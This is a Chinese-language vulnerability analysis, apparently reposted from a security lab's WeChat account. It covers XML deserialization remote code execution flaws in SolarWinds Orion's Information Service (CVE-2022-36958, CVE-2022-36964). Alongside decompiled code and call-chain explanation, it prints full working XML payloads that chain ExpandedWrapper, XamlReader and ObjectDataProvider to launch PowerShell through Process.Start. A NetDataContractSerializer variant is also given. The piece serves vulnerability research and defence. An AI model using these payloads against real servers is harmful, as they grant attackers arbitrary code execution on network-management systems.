漏洞信息
https://www.zerodayinitiative.com/advisories/ZDI-22-1664/
https://www.zerodayinitiative.com/advisories/ZDI-22-1459/
DeserializeFromStrippedXml方法存在以下四个dll
-
solarwinds.informationservice.Contract.dll
-
solarwinds.MessageBus.dll
-
solarwinds.informationservice.Addons.dll
-
solarwinds.Orion.Core.SharedCredentials.Provider.dll
来看看diff,明显的xml反序列化。
SWIS服务
Solarwinds软件中有一个SolarWinds Information Service (SWIS)服务,可通过该服务访问到Orion平台中的数据,提供了一种类似于SQL的语言SWQL。
默认监听端口端口17778、17777,官方提供了SWQL Studio工具可进行SWQL查询以及API调用,HTTP也能进行部分调用但是只能调用一部分。
如果熟悉WCF,很容易找到对应的接口在/SolarWinds/InformationService/v3/json/,在配置文件:
<endpoint address="/Json" binding="webHttpBinding" bindingConfiguration="RestBinding" contract="SolarWinds.InformationService.Core.IRestInformationService" behaviorConfiguration="RestEndpointBehavior">
<identity>
<certificateReference x509FindType="FindBySubjectDistinguishedName" storeName="My" storeLocation="LocalMachine" findValue="CN=SolarWinds-Orion" />
</identity>
</endpoint>
对应类:
SolarWinds.InformationService.Core#IRestInformationService
不过SWQL Studio更加方便,只需要找到对应的verb填入参数即能调用
CVE-2022-36958
这个CVE影响的是solarwinds.informationservice.Addons.dll,和上面提到的另外两个dll文件都实现了自定义反序列化的逻辑,实现都大同小异。
入口是将所有参数进行反序列化(DataContractSerializer),类型对应调用Verb函数的接收参数,如上。但是可以找到一个类实现了IXmlSerializable接口的方法,DataContractSerializer反序列化该类时会调用其readxml方法进行下一步操作,就像Json.NET自定义JsonConverter#ReadJson方法一样。
SolarWinds.InformationService.Addons.PropertyBag类继承了IXmlSerializable接口并实现了Readxml方法,当反序列化为PropertyBag类型时会调用ReadXml走自定义反序列化的逻辑,定位到SolarWinds.InformationService.Addons.PropertyBag#ReadXMl方法
public void ReadXml(XmlReader reader)
{
foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))
{
XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");
if (xelement != null)
{
string value = xelement.Value;
XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");
if (xelement2 != null)
{
string value2 = xelement2.Value;
XAttribute xattribute = xelement2.Attribute("overrideType");
if (xattribute != null)
{
value2 = xattribute.Value;
}
object obj = null;
XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");
if (xelement3 != null && !xelement3.IsEmpty)
{
string value3 = xelement3.Value;
// 这里使用的反序列化器变为xmlserialzer
obj = this.Deserialize(value3, value2);
PropertyBagWhiteListCollector.LogObjectInfo(obj, SolarWinds.Serialization.Json.SerializationHelper.GetMethodFromStackTrace(), SolarWinds.Serialization.Json.SerializationHelper.GetAssemblyName());
}
base.Add(value, obj);
}
}
}
}
将从xml中取出type和value进行反序列化,均可控。跟进
中间有一部分逻辑省略了,最终确实拿到了我们期望的类型,然后调用DeserializeFromStrippedXml进行反序列化,但是在反序列化之前还会处理一次我们的xml
public object DeserializeFromStrippedXml(string strippedXml)
{
if (strippedXml == null)
{
throw new ArgumentNullException("strippedXml");
}
string s = string.Format("<{0} xmlns='{1}'>{2}</{0}>", this.XsdElementName, this.Namespace, strippedXml);
return this.Serializer.Deserialize(new StringReader(s));
}
会在我们的payload最外层嵌套一层标签,这里XsdElementName是通过type正常生成的为ExpandedWrapperOfXamlReaderObjectDataProvider,但是namespace是获取为空的。
命名空间的问题会导致正常payload无法正常执行,经过测试顶级命名空间不可控的情况下,移至子标签payload可正常执行,后来作者也提到了https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform。
所以针对SolarWinds.InformationService.Addons.PropertyBag的payload:
<dictionary xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">
<item>
<type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>
<key>g7shot</key>
<value><ExpandedElement/><ProjectedProperty0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><MethodName>Parse</MethodName><MethodParameters><anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>powershell</b:String><b:String>-c calc solarwindsRCE</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType></MethodParameters><ObjectInstance xsi:type="XamlReader"></ObjectInstance></ProjectedProperty0></value>
</item>
</dictionary>
DataContractSerializer–>IXmlSerializable#ReadXml–>XmlSerializer RCE,调用栈
CVE-2022-36964
自定义xml反序列化的地方有三处,这里利用到的类是SolarWinds.InformationService.Contract2.PropertyBag。
ReadXml实现代码:
public void ReadXml(XmlReader reader)
{
foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))
{
XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");
if (xelement != null)
{
string value = xelement.Value;
XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");
if (xelement2 != null)
{
string value2 = xelement2.Value;
XAttribute xattribute = xelement2.Attribute("overrideType");
if (xattribute != null)
{
value2 = xattribute.Value;
}
Type left;
if (value2 == "SolarWinds.InformationService.PropertyBag")
{
left = typeof(PropertyBag);
}
else
{
left = Type.GetType(value2);
}
object obj = null;
XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");
if (xelement3 != null && !xelement3.IsEmpty && left != null)
{
string value3 = xelement3.Value;
obj = this.Deserialize(value3, value2);
PropertyBagWhiteListCollector.LogObjectInfo(obj, SerializationHelper.GetMethodFromStackTrace(), SerializationHelper.GetAssemblyName());
}
base.Add(value, obj);
}
}
}
}
<AlertingActionContext
xmlns="http://schemas.solarwinds.com/2008/Orion"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<MacroContext
xmlns="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.Actions.Contexts"
xmlns:a="http://schemas.solarwinds.com/2008/Orion">
<a:contexts
xmlns:b="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.MacroParsing">
<b:ContextBase i:type="a:SwisEntityContext">
<a:DisplayName>Net object properties</a:DisplayName>
<a:EntityProperties>
<item xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">
<key>g7shot</key>
<type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>
<value>
<a><![CDATA[<ProjectedProperty0 xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">]]></a>
<b><![CDATA[</b>
<d><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider a:Key="" ObjectType="{a:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>powershell</b:String><b:String>-c calc SolarwindsRCE</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></d>
<e>]]></e>
<c><![CDATA[</anyType></MethodParameters><ObjectInstance a:type="XamlReader"/></ProjectedProperty0>]]></c>
</value>
</item>
</a:EntityProperties>
<a:EntityType i:nil="true"/>
<a:EntityUri i:nil="true"/>
</b:ContextBase>
</a:contexts>
</MacroContext>
<AlertActiveId i:nil="true"/>
<AlertContext>
<AlertName i:nil="true"/>
<CreatedBy i:nil="true"/>
</AlertContext>
<AlertObjectId i:nil="true"/>
<EntityType i:nil="true"/>
<EntityUri i:nil="true"/>
<EntityUris i:nil="true"
xmlns:a="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<ExecutionMode>Trigger</ExecutionMode>
<IsGlobalAlert>false</IsGlobalAlert>
<NetObjectData i:nil="true"
xmlns:a="http://s
chemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Common.Alerting"/>
<ObjectDataExists>false</ObjectDataExists>
</AlertingActionContext>
漏洞复现
拓展
Solarwinds之前的CVE-2022-36957( PropertyBagJsonConverter )和上面的两个Xml反序列化,都是通过找到特定类自定义的反序列化进行下一步的利用。
对比下DataContractSerializer正常反序列化逻辑和走自定义反序列化逻辑的调用栈:
最终都会进入到XmlObjectSerializerReadContext#ReadDataContractValue方法,然后再调用ReadXmlValue走内部反序列化的逻辑,具体代码
protected virtual object ReadDataContractValue(
DataContract dataContract,
XmlReaderDelegator reader)
{
return dataContract.ReadXmlValue(reader, this);
}
根据上面的调用栈可以发现两种不同的反序列化过程区别在于dataContract属性,分别是XmlDataContract和ClassDataContract,而dataContract是在DataContractSerializer类中进行初始化的:
private DataContract RootContract
{
get
{
if (this.rootContract == null)
{
this.rootContract = DataContract.GetDataContract(this.dataContractSurrogate == null ? this.rootType : DataContractSerializer.GetSurrogatedType(this.dataContractSurrogate, this.rootType));
this.needsContractNsAtRoot = this.CheckIfNeedsContractNsAtRoot(this.rootName, this.rootNamespace, this.rootContract);
}
return this.rootContract;
}
}
然后通过一系列的调用获取DataContract复制给this.RootContract,贴下这部分调用栈
最终会拿到对应的DataContract实例:
由于本地调试环境问题没有详细跟进,不过可以清楚看见第二个红框标记的一个if条件是type.IsDefined(Globals.TypeOfDataContractAttribute, false)。
参考官方文档,在使用DataContractSerializer反序列化类时,类需要标记DataContract特性,所以在正常使用过程中都会使用ClassDataContract#ReadXmlValue,然后再走内部反序列化的逻辑,这里不再赘述。
简单看下XmlDataContract#ReadXmlValue最终是怎么调用到反序列化类的ReadXml方法中的:
进入ReadXmlValue方法中之后会调用XmlObjectSerializerReadContext.ReadIXmlSerializable(),跟进
到这里最终调用了ReadXml方法走自定义反序列化的逻辑。
那其他Xml序列化器是否也有类似的处理逻辑?我们知道常见的xml序列化器有
-
DataContractSerializer,继承XmlObjectSerializer
-
NetDataContractSerializer,继承XmlObjectSerializer
-
XmlSerializer
调试发现NetDataContractSerializer同样也支持这种方式,如果CVE-2022-36958的序列化器是NetDataContractSerializer,如下payload也同样适用:
<dictionary z:Type="SolarWinds.InformationService.Contract2.PropertyBag" z:Assembly="SolarWinds.InformationService.Contract, Version=2022.3.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<item>
payload
</item>
</dictionary>
最后补充下类自定义Xml( DataContractSerializer、NetDataContractSerializer )反序列化条件:
-
继承IXmlSerializable&不能被DataContract特性标记
-
定义XmlRoot特性或者XmlSchemaProvider特性
-
需要一个无参构造函数
例如反序列化这个类时就能走到ReadXml方法:
//条件1
// [XmlRoot("dictionary", Namespace = "http://schemas.solarwinds.com/2007/08/informationservice/propertybag")]
[ ]
//条件2
class Person : IXmlSerializable
{
[ ]
public string FirstName;
[ ]
public string LastName;
[ ]
public int Age;
public Person(string newfName, string newLName, int age)
{
FirstName = newfName;
LastName = newLName;
Age = age;
}
// 条件3
public Person()
{
Console.WriteLine("init!!!");
}
public XmlSchema GetSchema()
{
throw new NotImplementedException();
}
public void ReadXml(XmlReader reader)
{
throw new NotImplementedException();
}
public void WriteXml(XmlWriter writer)
{
throw new NotImplementedException();
}
public static XmlQualifiedName GetSchema(XmlSchemaSet xs)
{
return null;
}
}
参考
https://learn.microsoft.com/en-us/dotnet/api/system.xml.serialization.ixmlserializable
https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
原文始发于微信公众号(青藤实验室):Solarwinds DeserializeFromStrippedXml RCE